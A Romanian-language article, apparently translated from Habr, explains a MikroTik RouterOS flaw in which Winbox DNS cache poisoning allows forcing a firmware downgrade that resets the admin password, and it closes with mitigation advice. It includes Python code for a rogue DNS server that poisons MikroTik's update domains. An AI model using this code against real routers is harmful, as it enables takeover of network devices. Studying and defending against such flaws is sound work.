Capacitatea de a downgrade de la distanță dispozitivele bazate pe RouterOS (Mikrotik) pune sute de mii de dispozitive de rețea în pericol. Vulnerabilitatea este asociată cu otrăvirea memoriei cache DNS a protocolului Winbox și vă permite să încărcați firmware învechit (cu o resetare implicită a parolei) sau modificat pe dispozitiv.
Detalii despre vulnerabilitate
Terminalul RouterOS acceptă comanda resolve pentru căutarea DNS.
Această solicitare este gestionată de un binar numit resolver. Resolver este unul dintre multele binare care se conectează la protocolul Winbox al RouterOS. La un nivel înalt, „mesajele” trimise către portul Winbox pot fi direcționate către diferite binare în RouterOS pe baza unei scheme de numerotare bazată pe matrice.
În mod implicit, RouterOS are caracteristica serverului DNS dezactivată.
Cu toate acestea, chiar și atunci când funcția serverului este dezactivată, routerul își menține propriul cache DNS.
Când facem o solicitare folosind winbox_dns_request, de exemplu example.com, routerul va stoca în cache rezultatul.
Deoarece putem specifica serverul DNS prin care trebuie să treacă cererea, introducerea adreselor incorecte este banală. De exemplu, puteți configura o implementare a unui server DNS de la
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Acum, dacă căutați example.com folosind Winbox, puteți vedea că memoria cache DNS a routerului este otrăvită.
Desigur, intoxicația example.com nu este foarte utilă, deoarece routerul nu îl va folosi de fapt. Totuși, routerul trebuie să acceseze upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com și download.mikrotik.com. Și datorită unei alte greșeli, este posibil să le otrăviți pe toate deodată.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Routerul solicită o permisiune, iar noi acordăm cinci înapoi. Routerul nu memorează în cache toate aceste răspunsuri corect.
Evident, acest atac este util și dacă routerul acționează ca un server DNS, deoarece permite ca clienții routerului să fie atacați.
Acest atac vă permite, de asemenea, să exploatați o vulnerabilitate mai gravă: downgrade sau backportare a versiunii RouterOS. Atacatorul recreează logica serverului de actualizare, inclusiv jurnalul de modificări și forțează RouterOS să perceapă versiunea învechită (vulnerabilă) ca actuală. Pericolul aici constă în faptul că, atunci când versiunea este „actualizată”, parola administratorului este resetată la valoarea implicită - un atacator se poate conecta la sistem cu o parolă goală!
Atacul funcționează destul de bine, în ciuda faptului că
protecție
Pur și simplu dezactivarea Winbox vă permite să vă protejați de aceste atacuri. În ciuda confortului administrării prin Winbox, este mai bine să utilizați protocolul SSH.
Sursa: www.habr.com